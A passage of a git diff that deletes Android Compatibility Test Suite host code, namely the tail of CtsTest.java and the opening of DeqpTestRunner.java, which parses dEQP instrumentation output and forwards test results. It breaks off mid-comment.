-            Log.logAndDisplay(LogLevel.WARN, LOG_TAG, String.format(
-                    "Could not find package for test class %s", className));
-        }
-        for (String packageId: packageIds) {
-            ITestPackageDef testPackageDef = testRepo.getTestPackage(packageId);
-            if (testPackageDef != null) {
-                testPackageDef.setClassName(className, methodName);
-                testPkgDefs.add(testPackageDef);
-            }
-        }
-        return testPkgDefs;
-    }
-
-    /**
-     * Return the list (by abi) of unique prerequisite apks to install
-     *
-     * @param testPackages The {@link List} of {@link TestPackage} that contain prerequisite APKs
-     */
-    private Map<String, Set<String>> getPrerequisiteApks(
-            List<TestPackage> testPackages, Set<String> abiSet) {
-        Map<String, Set<String>> abiToApkMap = new HashMap<>();
-        for (TestPackage testPkg : testPackages) {
-            if (testPkg.getKnownTests().size() == 0) {
-                // No tests, no point in installing pre-reqs
-                continue;
-            }
-            String apkName = testPkg.mPackageDef.getTargetApkName();
-            if (apkName == null) {
-                continue;
-            }
-            String abiName = testPkg.getAbi().getName();
-            if (!abiSet.contains(abiName)) {
-                continue;
-            }
-
-            if (!abiToApkMap.containsKey(abiName)) {
-                abiToApkMap.put(abiName, new HashSet<String>());
-            }
-            abiToApkMap.get(abiName).add(apkName);
-        }
-        return abiToApkMap;
-    }
-
-    /**
-     * FIXME eventually this should be removed once we get rid of CtsTestStubs, any other
-     * prerequisite apks should be installed by the test runner
-     *
-     * Install the collection of test apk file names
-     *
-     * @param prerequisiteApks The APKs that must be installed
-     * @throws DeviceNotAvailableException
-     */
-    private void installPrerequisiteApks(Collection<String> prerequisiteApks, IAbi abi)
-            throws DeviceNotAvailableException {
-        if (prerequisiteApks == null) {
-            return;
-        }
-        Log.logAndDisplay(LogLevel.INFO, LOG_TAG, "Installing prerequisites");
-        for (String apkName : prerequisiteApks) {
-            try {
-                File apkFile = mCtsBuild.getTestApp(apkName);
-                String[] options = {AbiUtils.createAbiFlag(abi.getName())};
-                String errorCode = getDevice().installPackage(apkFile, true, options);
-                if (errorCode != null) {
-                    CLog.e("Failed to install %s. Reason: %s", apkName, errorCode);
-                }
-            } catch (FileNotFoundException e) {
-                CLog.e("Could not find test apk %s", apkName);
-            }
-        }
-    }
-
-    /**
-     * Uninstalls the collection of android package names from device.
-     *
-     * @param uninstallPackages The packages that must be uninstalled
-     */
-    private void uninstallPrequisiteApks(Collection<String> uninstallPackages)
-            throws DeviceNotAvailableException {
-        for (String pkgName : uninstallPackages) {
-            getDevice().uninstallPackage(pkgName);
-        }
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public Collection<IRemoteTest> split() {
-        if (mShards <= 1) {
-            return null;
-        }
-        checkFields();
-
-        List<IRemoteTest> shardQueue = new LinkedList<>();
-        for (int shardAssignment = 0; shardAssignment < mShards; shardAssignment++) {
-            CtsTest ctsTest = new CtsTest(shardAssignment, mShards /* totalShards */);
-            OptionCopier.copyOptionsNoThrow(this, ctsTest);
-            // Set the shard count because the copy option on the previous line copies
-            // over the mShard value
-            ctsTest.mShards = 0;
-            shardQueue.add(ctsTest);
-        }
-
-        return shardQueue;
-    }
-
-    /**
-     * Runs the device info collector instrumentation on device, and forwards it to test listeners
-     * as run metrics.
-     * <p/>
-     * Exposed so unit tests can mock.
-     *
-     * @throws DeviceNotAvailableException
-     */
-    void collectDeviceInfo(ITestDevice device, CtsBuildHelper ctsBuild,
-            ITestInvocationListener listener) throws DeviceNotAvailableException {
-        if (!mSkipDeviceInfo) {
-            String abi = AbiFormatter.getDefaultAbi(device, "");
-            DeviceInfoCollector.collectDeviceInfo(device, abi, ctsBuild.getTestCasesDir(), listener);
-            DeviceInfoCollector.collectExtendedDeviceInfo(
-                device, abi, ctsBuild.getTestCasesDir(), listener, mBuildInfo);
-        }
-    }
-
-    /**
-     * Prepares the report log directory on host to store test metric report logs.
-     */
-    void prepareReportLogContainers(ITestDevice device, IBuildInfo buildInfo) {
-        ReportLogUtil.prepareReportLogContainers(device, buildInfo);
-    }
-
-    /**
-     * Collects the test metric report logs written out by device-side and host-side tests.
-     */
-    void collectReportLogs(ITestDevice device, IBuildInfo buildInfo) {
-        ReportLogUtil.collectReportLogs(device, buildInfo);
-    }
-
-    /**
-     * Factory method for creating a {@link ITestPackageRepo}.
-     * <p/>
-     * Exposed for unit testing
-     */
-    ITestPackageRepo createTestCaseRepo() {
-        return new TestPackageRepo(mCtsBuild.getTestCasesDir(), mIncludeKnownFailures);
-    }
-
-    /**
-     * Factory method for creating a {@link TestPlan}.
-     * <p/>
-     * Exposed for unit testing
-     */
-    ITestPlan createPlan(String planName) {
-        return new TestPlan(planName, AbiUtils.getAbisSupportedByCompatibility());
-    }
-
-    /**
-     * Gets the set of ABIs supported by both CTS and the device under test
-     * <p/>
-     * Exposed for unit testing
-     * @return The set of ABIs to run the tests on
-     * @throws DeviceNotAvailableException
-     */
-    Set<String> getAbis() throws DeviceNotAvailableException {
-        String bitness = (mForceAbi == null) ? "" : mForceAbi;
-        Set<String> abis = new HashSet<>();
-        for (String abi : AbiFormatter.getSupportedAbis(mDevice, bitness)) {
-            if (AbiUtils.isAbiSupportedByCompatibility(abi)) {
-                abis.add(abi);
-            }
-        }
-        return abis;
-    }
-
-    /**
-     * Factory method for creating a {@link TestPlan} from a {@link PlanCreator}.
-     * <p/>
-     * Exposed for unit testing
-     * @throws ConfigurationException
-     */
-    ITestPlan createPlan(PlanCreator planCreator)
-            throws ConfigurationException {
-        return planCreator.createDerivedPlan(mCtsBuild, AbiUtils.getAbisSupportedByCompatibility());
-    }
-
-    /**
-     * Factory method for creating a {@link InputStream} from a plan xml file.
-     * <p/>
-     * Exposed for unit testing
-     */
-    InputStream createXmlStream(File xmlFile) throws FileNotFoundException {
-        return new BufferedInputStream(new FileInputStream(xmlFile));
-    }
-
-    private void checkFields() {
-        // for simplicity of command line usage, make --plan, --package, --test and --class mutually
-        // exclusive
-        boolean mutualExclusiveArgs = xor(mPlanName != null, mPackageNames.size() > 0,
-                mClassName != null, mContinueSessionId != null, mTestName != null);
-
-        if (!mutualExclusiveArgs) {
-            throw new IllegalArgumentException(String.format(
-                    "Ambiguous or missing arguments. " +
-                    "One and only one of --%s --%s(s), --%s or --%s to run can be specified",
-                    PLAN_OPTION, PACKAGE_OPTION, CLASS_OPTION, CONTINUE_OPTION));
-        }
-        if (mMethodName != null && mClassName == null) {
-            throw new IllegalArgumentException(String.format(
-                    "Must specify --%s when --%s is used", CLASS_OPTION, METHOD_OPTION));
-        }
-        if (mCtsBuild == null) {
-            throw new IllegalArgumentException("missing CTS build");
-        }
-    }
-
-    /**
-     * Helper method to perform exclusive or on list of boolean arguments
-     *
-     * @param args set of booleans on which to perform exclusive or
-     * @return <code>true</code> if one and only one of <var>args</code> is <code>true</code>.
-     *         Otherwise return <code>false</code>.
-     */
-    private static boolean xor(boolean... args) {
-        boolean currentVal = args[0];
-        for (int i=1; i < args.length; i++) {
-            if (currentVal && args[i]) {
-                return false;
-            }
-            currentVal |= args[i];
-        }
-        return currentVal;
-    }
-
-    /**
-     * Forward the digest and package name to the listener as a metric
-     *
-     * @param listener Handles test results
-     */
-    private static void forwardPackageDetails(ITestPackageDef def, ITestInvocationListener listener) {
-        Map<String, String> metrics = new HashMap<>(3);
-        metrics.put(PACKAGE_NAME_METRIC, def.getName());
-        metrics.put(PACKAGE_ABI_METRIC, def.getAbi().getName());
-        metrics.put(PACKAGE_DIGEST_METRIC, def.getDigest());
-        listener.testRunStarted(def.getId(), 0);
-        listener.testRunEnded(0, metrics);
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/DeqpTestRunner.java b/tools/tradefed-host/src/com/android/cts/tradefed/testtype/DeqpTestRunner.java
deleted file mode 100644
index 851f4a6..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/DeqpTestRunner.java
+++ /dev/null
@@ -1,1916 +0,0 @@
-package com.android.cts.tradefed.testtype;
-
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.cts.tradefed.build.CtsBuildHelper;
-import com.android.ddmlib.AdbCommandRejectedException;
-import com.android.ddmlib.IShellOutputReceiver;
-import com.android.ddmlib.MultiLineReceiver;
-import com.android.ddmlib.ShellCommandUnresponsiveException;
-import com.android.ddmlib.TimeoutException;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.ByteArrayInputStreamSource;
-import com.android.tradefed.result.ITestInvocationListener;
-import com.android.tradefed.result.LogDataType;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.IDeviceTest;
-import com.android.tradefed.testtype.IRemoteTest;
-import com.android.tradefed.util.IRunUtil;
-import com.android.tradefed.util.RunInterruptedException;
-import com.android.tradefed.util.RunUtil;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.lang.reflect.Method;
-import java.lang.reflect.InvocationTargetException;
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.Collections;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.Iterator;
-import java.util.LinkedHashMap;
-import java.util.LinkedHashSet;
-import java.util.LinkedList;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Test runner for dEQP tests
- *
- * Supports running drawElements Quality Program tests found under external/deqp.
- */
-public class DeqpTestRunner implements IBuildReceiver, IDeviceTest, IRemoteTest {
-
-    private static final String DEQP_ONDEVICE_APK = "com.drawelements.deqp.apk";
-    private static final String DEQP_ONDEVICE_PKG = "com.drawelements.deqp";
-    private static final String INCOMPLETE_LOG_MESSAGE = "Crash: Incomplete test log";
-    private static final String SKIPPED_INSTANCE_LOG_MESSAGE = "Configuration skipped";
-    private static final String NOT_EXECUTABLE_LOG_MESSAGE = "Abort: Test cannot be executed";
-    private static final String CASE_LIST_FILE_NAME = "/sdcard/dEQP-TestCaseList.txt";
-    private static final String LOG_FILE_NAME = "/sdcard/TestLog.qpa";
-    public static final String FEATURE_LANDSCAPE = "android.hardware.screen.landscape";
-    public static final String FEATURE_PORTRAIT = "android.hardware.screen.portrait";
-
-    private static final int TESTCASE_BATCH_LIMIT = 1000;
-    private static final BatchRunConfiguration DEFAULT_CONFIG =
-        new BatchRunConfiguration("rgba8888d24s8", "unspecified", "window");
-
-    private static final int UNRESPOSIVE_CMD_TIMEOUT_MS = 10*60*1000; // ten minutes
-
-    private final String mPackageName;
-    private final String mName;
-    private final Collection<TestIdentifier> mRemainingTests;
-    private final Map<TestIdentifier, Set<BatchRunConfiguration>> mTestInstances;
-    private final TestInstanceResultListener mInstanceListerner = new TestInstanceResultListener();
-    private final Map<TestIdentifier, Integer> mTestInstabilityRatings;
-    private IAbi mAbi;
-    private CtsBuildHelper mCtsBuild;
-    private boolean mLogData = false;
-    private ITestDevice mDevice;
-    private Set<String> mDeviceFeatures;
-    private Map<String, Boolean> mConfigQuerySupportCache = new HashMap<>();
-    private IRunUtil mRunUtil = RunUtil.getDefault();
-
-    private IRecovery mDeviceRecovery = new Recovery();
-    {
-        mDeviceRecovery.setSleepProvider(new SleepProvider());
-    }
-
-    public DeqpTestRunner(String packageName, String name, Collection<TestIdentifier> tests,
-            Map<TestIdentifier, List<Map<String,String>>> testInstances) {
-        mPackageName = packageName;
-        mName = name;
-        mRemainingTests = new LinkedList<>(tests); // avoid modifying arguments
-        mTestInstances = parseTestInstances(tests, testInstances);
-        mTestInstabilityRatings = new HashMap<>();
-    }
-
-    /**
-     * @param abi the ABI to run the test on
-     */
-    public void setAbi(IAbi abi) {
-        mAbi = abi;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mCtsBuild = CtsBuildHelper.createBuildHelper(buildInfo);
-    }
-
-    /**
-     * Set the CTS build container.
-     * <p/>
-     * Exposed so unit tests can mock the provided build.
-     *
-     * @param buildHelper
-     */
-    public void setBuildHelper(CtsBuildHelper buildHelper) {
-        mCtsBuild = buildHelper;
-    }
-
-    /**
-     * Enable or disable raw dEQP test log collection.
-     */
-    public void setCollectLogs(boolean logData) {
-        mLogData = logData;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setDevice(ITestDevice device) {
-        mDevice = device;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public ITestDevice getDevice() {
-        return mDevice;
-    }
-
-    /**
-     * Set recovery handler.
-     *
-     * Exposed for unit testing.
-     */
-    public void setRecovery(IRecovery deviceRecovery) {
-        mDeviceRecovery = deviceRecovery;
-    }
-
-    /**
-     * Set IRunUtil.
-     *
-     * Exposed for unit testing.
-     */
-    public void setRunUtil(IRunUtil runUtil) {
-        mRunUtil = runUtil;
-    }
-
-    private static final class CapabilityQueryFailureException extends Exception {
-    }
-
-    /**
-     * Test configuration of dEPQ test instance execution.
-     * Exposed for unit testing
-     */
-    public static final class BatchRunConfiguration {
-        public static final String ROTATION_UNSPECIFIED = "unspecified";
-        public static final String ROTATION_PORTRAIT = "0";
-        public static final String ROTATION_LANDSCAPE = "90";
-        public static final String ROTATION_REVERSE_PORTRAIT = "180";
-        public static final String ROTATION_REVERSE_LANDSCAPE = "270";
-
-        private final String mGlConfig;
-        private final String mRotation;
-        private final String mSurfaceType;
-
-        public BatchRunConfiguration(String glConfig, String rotation, String surfaceType) {
-            mGlConfig = glConfig;
-            mRotation = rotation;
-            mSurfaceType = surfaceType;
-        }
-
-        /**
-         * Get string that uniquely identifies this config
-         */
-        public String getId() {
-            return String.format("{glformat=%s,rotation=%s,surfacetype=%s}",
-                    mGlConfig, mRotation, mSurfaceType);
-        }
-
-        /**
-         * Get the GL config used in this configuration.
-         */
-        public String getGlConfig() {
-            return mGlConfig;
-        }
-
-        /**
-         * Get the screen rotation used in this configuration.
-         */
-        public String getRotation() {
-            return mRotation;
-        }
-
-        /**
-         * Get the surface type used in this configuration.
-         */
-        public String getSurfaceType() {
-            return mSurfaceType;
-        }
-
-        @Override
-        public boolean equals(Object other) {
-            if (other == null) {
-                return false;
-            } else if (!(other instanceof BatchRunConfiguration)) {
-                return false;
-            } else {
-                return getId().equals(((BatchRunConfiguration)other).getId());
-            }
-        }
-
-        @Override
-        public int hashCode() {
-            return getId().hashCode();
-        }
-    }
-
-    /**
-     * dEQP test instance listerer and invocation result forwarded
-     */
-    private class TestInstanceResultListener {
-        private ITestInvocationListener mSink;
-        private BatchRunConfiguration mRunConfig;
-
-        private TestIdentifier mCurrentTestId;
-        private boolean mGotTestResult;
-        private String mCurrentTestLog;
-
-        private class PendingResult {
-            boolean allInstancesPassed;
-            Map<BatchRunConfiguration, String> testLogs;
-            Map<BatchRunConfiguration, String> errorMessages;
-            Set<BatchRunConfiguration> remainingConfigs;
-        }
-
-        private final Map<TestIdentifier, PendingResult> mPendingResults = new HashMap<>();
-
-        public void setSink(ITestInvocationListener sink) {
-            mSink = sink;
-        }
-
-        public void setCurrentConfig(BatchRunConfiguration runConfig) {
-            mRunConfig = runConfig;
-        }
-
-        /**
-         * Get currently processed test id, or null if not currently processing a test case
-         */
-        public TestIdentifier getCurrentTestId() {
-            return mCurrentTestId;
-        }
-
-        /**
-         * Forward result to sink
-         */
-        private void forwardFinalizedPendingResult(TestIdentifier testId) {
-            if (mRemainingTests.contains(testId)) {
-                final PendingResult result = mPendingResults.get(testId);
-
-                mPendingResults.remove(testId);
-                mRemainingTests.remove(testId);
-
-                // Forward results to the sink
-                mSink.testStarted(testId);
-
-                // Test Log
-                if (mLogData) {
-                    for (Map.Entry<BatchRunConfiguration, String> entry :
-                            result.testLogs.entrySet()) {
-                        final ByteArrayInputStreamSource source
-                                = new ByteArrayInputStreamSource(entry.getValue().getBytes());
-
-                        mSink.testLog(testId.getClassName() + "." + testId.getTestName() + "@"
-                                + entry.getKey().getId(), LogDataType.XML, source);
-
-                        source.cancel();
-                    }
-                }
-
-                // Error message
-                if (!result.allInstancesPassed) {
-                    final StringBuilder errorLog = new StringBuilder();
-
-                    for (Map.Entry<BatchRunConfiguration, String> entry :
-                            result.errorMessages.entrySet()) {
-                        if (errorLog.length() > 0) {
-                            errorLog.append('\n');
-                        }
-                        errorLog.append(String.format("=== with config %s ===\n",
-                                entry.getKey().getId()));
-                        errorLog.append(entry.getValue());
-                    }
-
-                    mSink.testFailed(testId, errorLog.toString());
-                }
-
-                final Map<String, String> emptyMap = Collections.emptyMap();
-                mSink.testEnded(testId, emptyMap);
-            } else {
-                CLog.w("Finalization for non-pending case %s", testId);
-            }
-        }
-
-        /**
-         * Declare existence of a test and instances
-         */
-        public void setTestInstances(TestIdentifier testId, Set<BatchRunConfiguration> configs) {
-            // Test instances cannot change at runtime, ignore if we have already set this
-            if (!mPendingResults.containsKey(testId)) {
-                final PendingResult pendingResult = new PendingResult();
-                pendingResult.allInstancesPassed = true;
-                pendingResult.testLogs = new LinkedHashMap<>();
-                pendingResult.errorMessages = new LinkedHashMap<>();
-                pendingResult.remainingConfigs = new HashSet<>(configs); // avoid mutating argument
-                mPendingResults.put(testId, pendingResult);
-            }
-        }
-
-        /**
-         * Query if test instance has not yet been executed
-         */
-        public boolean isPendingTestInstance(TestIdentifier testId,
-                BatchRunConfiguration config) {
-            final PendingResult result = mPendingResults.get(testId);
-            if (result == null) {
-                // test is not in the current working batch of the runner, i.e. it cannot be
-                // "partially" completed.
-                if (!mRemainingTests.contains(testId)) {
-                    // The test has been fully executed. Not pending.
-                    return false;
-                } else {
-                    // Test has not yet been executed. Check if such instance exists
-                    return mTestInstances.get(testId).contains(config);
-                }
-            } else {
-                // could be partially completed, check this particular config
-                return result.remainingConfigs.contains(config);
-            }
-        }
-
-        /**
-         * Fake execution of an instance with current config
-         */
-        public void skipTest(TestIdentifier testId) {
-            final PendingResult result = mPendingResults.get(testId);
-
-            result.errorMessages.put(mRunConfig, SKIPPED_INSTANCE_LOG_MESSAGE);
-            result.remainingConfigs.remove(mRunConfig);
-
-            // Pending result finished, report result
-            if (result.remainingConfigs.isEmpty()) {
-                forwardFinalizedPendingResult(testId);
-            }
-        }
-
-        /**
-         * Fake failure of an instance with current config
-         */
-        public void abortTest(TestIdentifier testId, String errorMessage) {
-            final PendingResult result = mPendingResults.get(testId);
-
-            CLog.i("Test %s aborted with message %s", testId, errorMessage);
-
-            // Mark as executed
-            result.allInstancesPassed = false;
-            result.errorMessages.put(mRunConfig, errorMessage);
-            result.remainingConfigs.remove(mRunConfig);
-
-            // Pending result finished, report result
-            if (result.remainingConfigs.isEmpty()) {
-                forwardFinalizedPendingResult(testId);
-            }
-
-            if (testId.equals(mCurrentTestId)) {
-                mCurrentTestId = null;
-            }
-        }
-
-        /**
-         * Handles beginning of dEQP session.
-         */
-        private boolean handleBeginSession(Map<String, String> values) {
-            // ignore
-            return true;
-        }
-
-        /**
-         * Handle session info
-         */
-        private boolean handleSessionInfo(Map<String, String> values) {
-            // ignore
-            return true;
-        }
-
-        /**
-         * Handles end of dEQP session.
-         */
-        private boolean handleEndSession(Map<String, String> values) {
-            // ignore
-            return true;
-        }
-
-        /**
-         * Handles beginning of dEQP testcase.
-         */
-        private boolean handleBeginTestCase(Map<String, String> values) {
-            String casePath = values.get("dEQP-BeginTestCase-TestCasePath");
-
-            if (mCurrentTestId != null) {
-                    CLog.w("Got unexpected start of %s, so aborting", mCurrentTestId);
-                    abortTest(mCurrentTestId, INCOMPLETE_LOG_MESSAGE);
-                    mCurrentTestId = null;
-            }
-
-            mCurrentTestLog = "";
-            mGotTestResult = false;
-
-            if (casePath == null) {
-                CLog.w("Got null case path for test case begin event. Current test ID: %s", mCurrentTestId);
-                mCurrentTestId = null;
-                return false;
-            }
-
-            mCurrentTestId = pathToIdentifier(casePath);
-
-            if (mPendingResults.get(mCurrentTestId) == null) {
-                CLog.w("Got unexpected start of %s", mCurrentTestId);
-            }
-            return true;
-        }
-
-        /**
-         * Handles end of dEQP testcase.
-         */
-        private boolean handleEndTestCase(Map<String, String> values) {
-            final PendingResult result = mPendingResults.get(mCurrentTestId);
-
-            if (result != null) {
-                if (!mGotTestResult) {
-                    result.allInstancesPassed = false;
-                    result.errorMessages.put(mRunConfig, INCOMPLETE_LOG_MESSAGE);
-                    CLog.i("Test %s failed as it ended before receiving result.", mCurrentTestId);
-                }
-                result.remainingConfigs.remove(mRunConfig);
-
-                if (mLogData && mCurrentTestLog != null && mCurrentTestLog.length() > 0) {
-                    result.testLogs.put(mRunConfig, mCurrentTestLog);
-                }
-
-                // Pending result finished, report result
-                if (result.remainingConfigs.isEmpty()) {
-                    forwardFinalizedPendingResult(mCurrentTestId);
-                }
-            } else {
-                CLog.w("Got unexpected end of %s", mCurrentTestId);
-            }
-            mCurrentTestId = null;
-            return true;
-        }
-
-        /**
-         * Handles dEQP testcase result.
-         */
-        private boolean handleTestCaseResult(Map<String, String> values) {
-            String code = values.get("dEQP-TestCaseResult-Code");
-            if (code == null) {
-                return false;
-            }
-
-            String details = values.get("dEQP-TestCaseResult-Details");
-
-            if (mPendingResults.get(mCurrentTestId) == null) {
-                CLog.w("Got unexpected result for %s", mCurrentTestId);
-                mGotTestResult = true;
-                return true;
-            }
-
-            if (code.compareTo("Pass") == 0) {
-                mGotTestResult = true;
-            } else if (code.compareTo("NotSupported") == 0) {
-                mGotTestResult = true;
-            } else if (code.compareTo("QualityWarning") == 0) {
-                mGotTestResult = true;
-            } else if (code.compareTo("CompatibilityWarning") == 0) {
-                mGotTestResult = true;
-            } else if (code.compareTo("Fail") == 0 || code.compareTo("ResourceError") == 0
-                    || code.compareTo("InternalError") == 0 || code.compareTo("Crash") == 0
-                    || code.compareTo("Timeout") == 0) {
-                mPendingResults.get(mCurrentTestId).allInstancesPassed = false;
-                mPendingResults.get(mCurrentTestId)
-                        .errorMessages.put(mRunConfig, code + ": " + details);
-                mGotTestResult = true;
-            } else {
-                String codeError = "Unknown result code: " + code;
-                mPendingResults.get(mCurrentTestId).allInstancesPassed = false;
-                mPendingResults.get(mCurrentTestId)
-                        .errorMessages.put(mRunConfig, codeError + ": " + details);
-                mGotTestResult = true;
-                CLog.e("Got invalid result code '%s' for test %s", code, mCurrentTestId);
-            }
-            return true;
-        }
-
-        /**
-         * Handles terminated dEQP testcase.
-         */
-        private boolean handleTestCaseTerminate(Map<String, String> values) {
-            final PendingResult result = mPendingResults.get(mCurrentTestId);
-
-            if (result != null) {
-                String reason = values.get("dEQP-TerminateTestCase-Reason");
-                mPendingResults.get(mCurrentTestId).allInstancesPassed = false;
-                mPendingResults.get(mCurrentTestId)
-                        .errorMessages.put(mRunConfig, "Terminated: " + reason);
-                result.remainingConfigs.remove(mRunConfig);
-
-                // Pending result finished, report result
-                if (result.remainingConfigs.isEmpty()) {
-                    forwardFinalizedPendingResult(mCurrentTestId);
-                }
-            } else {
-                CLog.w("Got unexpected termination of %s", mCurrentTestId);
-            }
-
-            mCurrentTestId = null;
-            mGotTestResult = true;
-            return true;
-        }
-
-        /**
-         * Handles dEQP testlog data.
-         */
-        private boolean handleTestLogData(Map<String, String> values) {
-            String newLog = values.get("dEQP-TestLogData-Log");
-            if (newLog == null) {
-                return false;
-            }
-            mCurrentTestLog = mCurrentTestLog + newLog;
-            return true;
-        }
-
-        /**
-         * Handles new instrumentation status message.
-         * @return true if handled correctly, false if missing values.
-         */
-        public boolean handleStatus(Map<String, String> values) {
-            String eventType = values.get("dEQP-EventType");
-
-            if (eventType == null) {
-                // Not an event, but some other line
-                return true;
-            }
-
-            if (eventType.compareTo("BeginSession") == 0) {
-                return handleBeginSession(values);
-            } else if (eventType.compareTo("SessionInfo") == 0) {
-                return handleSessionInfo(values);
-            } else if (eventType.compareTo("EndSession") == 0) {
-                return handleEndSession(values);
-            } else if (eventType.compareTo("BeginTestCase") == 0) {
-                return handleBeginTestCase(values);
-            } else if (eventType.compareTo("EndTestCase") == 0) {
-                return handleEndTestCase(values);
-            } else if (eventType.compareTo("TestCaseResult") == 0) {
-                return handleTestCaseResult(values);
-            } else if (eventType.compareTo("TerminateTestCase") == 0) {
-                return handleTestCaseTerminate(values);
-            } else if (eventType.compareTo("TestLogData") == 0) {
-                return handleTestLogData(values);
-            }
-            CLog.e("Unknown event type (%s)", eventType);
-            return false;
-        }
-
-        /**
-         * Signal listener that batch ended and forget incomplete results.
-         */
-        public void endBatch() {
-            // end open test if when stream ends
-            if (mCurrentTestId != null) {
-                // Current instance was removed from remainingConfigs when case
-                // started. Mark current instance as pending.
-                CLog.i("Batch ended with test '%s' current", mCurrentTestId);
-                if (mPendingResults.get(mCurrentTestId) != null) {
-                    mPendingResults.get(mCurrentTestId).remainingConfigs.add(mRunConfig);
-                } else {
-                    CLog.w("Got unexpected internal state of %s", mCurrentTestId);
-                }
-            }
-            mCurrentTestId = null;
-        }
-    }
-
-    /**
-     * dEQP instrumentation parser
-     */
-    private static class InstrumentationParser extends MultiLineReceiver {
-        private TestInstanceResultListener mListener;
-
-        private Map<String, String> mValues;
-        private String mCurrentName;
-        private String mCurrentValue;
-        private int mResultCode;
-        private boolean mGotExitValue = false;
-        private boolean mParseSuccessful = true;
-
-
-        public InstrumentationParser(TestInstanceResultListener listener) {
-            mListener = listener;
-        }
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public void processNewLines(String[] lines) {
-            for (String line : lines) {
-                if (mValues == null) mValues = new HashMap<String, String>();
-
-                if (line.startsWith("INSTRUMENTATION_STATUS_CODE: ")) {
-                    if (mCurrentName != null) {
-                        mValues.put(mCurrentName, mCurrentValue);
-
-                        mCurrentName = null;
-                        mCurrentValue = null;
-                    }
-
-                    mParseSuccessful &= mListener.handleStatus(mValues);
-                    mValues = null;
-                } else if (line.startsWith("INSTRUMENTATION_STATUS: dEQP-")) {
-                    if (mCurrentName != null) {
-                        mValues.put(mCurrentName, mCurrentValue);
-
-                        mCurrentValue = null;
-                        mCurrentName = null;
-                    }
-
-                    String prefix = "INSTRUMENTATION_STATUS: ";
-                    int nameBegin = prefix.length();
-                    int nameEnd = line.indexOf('=');
-                    if (nameEnd < 0) {
-                        CLog.e("Line does not contain value. Logcat interrupted? (%s)", line);
-                        mCurrentValue = null;
-                        mCurrentName = null;
-                        mParseSuccessful = false;
-                        return;
-                    } else {
-                        int valueBegin = nameEnd + 1;
-                        mCurrentName = line.substring(nameBegin, nameEnd);
-                        mCurrentValue = line.substring(valueBegin);
-                    }
-                } else if (line.startsWith("INSTRUMENTATION_CODE: ")) {
-                    try {
-                        mResultCode = Integer.parseInt(line.substring(22));
-                        mGotExitValue = true;
-                    } catch (NumberFormatException ex) {
-                        CLog.e("Instrumentation code format unexpected");
-                        mParseSuccessful = false;
-                        return;
-                    }
-                } else if (mCurrentValue != null) {
-                    mCurrentValue = mCurrentValue + line;
-                }
-            }
-        }
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public void done() {
-            if (mCurrentName != null) {
-                mValues.put(mCurrentName, mCurrentValue);
-
-                mCurrentName = null;
-                mCurrentValue = null;
-            }
-
-            if (mValues != null) {
-                mParseSuccessful &= mListener.handleStatus(mValues);
-                mValues = null;
-            }
-        }
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public boolean isCancelled() {
-            return false;
-        }
-
-        /**
-         * Returns whether target instrumentation exited normally.
-         */
-        public boolean wasSuccessful() {
-            return mGotExitValue && mParseSuccessful;
-        }
-
-        /**
-         * Returns Instrumentation return code
-         */
-        public int getResultCode() {
-            return mResultCode;
-        }
-    }
-
-    /**
-     * dEQP platfom query instrumentation parser
-     */
-    private static class PlatformQueryInstrumentationParser extends MultiLineReceiver {
-        private Map<String,String> mResultMap = new LinkedHashMap<>();
-        private int mResultCode;
-        private boolean mGotExitValue = false;
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public void processNewLines(String[] lines) {
-            for (String line : lines) {
-                if (line.startsWith("INSTRUMENTATION_RESULT: ")) {
-                    final String parts[] = line.substring(24).split("=",2);
-                    if (parts.length == 2) {
-                        mResultMap.put(parts[0], parts[1]);
-                    } else {
-                        CLog.w("Instrumentation status format unexpected");
-                    }
-                } else if (line.startsWith("INSTRUMENTATION_CODE: ")) {
-                    try {
-                        mResultCode = Integer.parseInt(line.substring(22));
-                        mGotExitValue = true;
-                    } catch (NumberFormatException ex) {
-                        CLog.w("Instrumentation code format unexpected");
-                    }
-                }
-            }
-        }
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public boolean isCancelled() {
-            return false;
-        }
-
-        /**
-         * Returns whether target instrumentation exited normally.
-         */
-        public boolean wasSuccessful() {
-            return mGotExitValue;
-        }
-
-        /**
-         * Returns Instrumentation return code
-         */
-        public int getResultCode() {
-            return mResultCode;
-        }
-
-        public Map<String,String> getResultMap() {
-            return mResultMap;
-        }
-    }
-
-    /**
-     * Interface for sleeping.
-     *
-     * Exposed for unit testing
-     */
-    public static interface ISleepProvider {
-        public void sleep(int milliseconds);
-    }
-
-    private static class SleepProvider implements ISleepProvider {
-        public void sleep(int milliseconds) {
-            try {
-                Thread.sleep(milliseconds);
-            } catch (InterruptedException ex) {
-            }
-        }
-    }
-
-    /**
-     * Interface for failure recovery.
-     *
-     * Exposed for unit testing
-     */
-    public static interface IRecovery {
-        /**
-         * Sets the sleep provider IRecovery works on
-         */
-        public void setSleepProvider(ISleepProvider sleepProvider);
-
-        /**
-         * Sets the device IRecovery works on
-         */
-        public void setDevice(ITestDevice device);
-
-        /**
-         * Informs Recovery that test execution has progressed since the last recovery
-         */
-        public void onExecutionProgressed();
-
-        /**
-         * Tries to recover device after failed refused connection.
-         *
-         * @throws DeviceNotAvailableException if recovery did not succeed
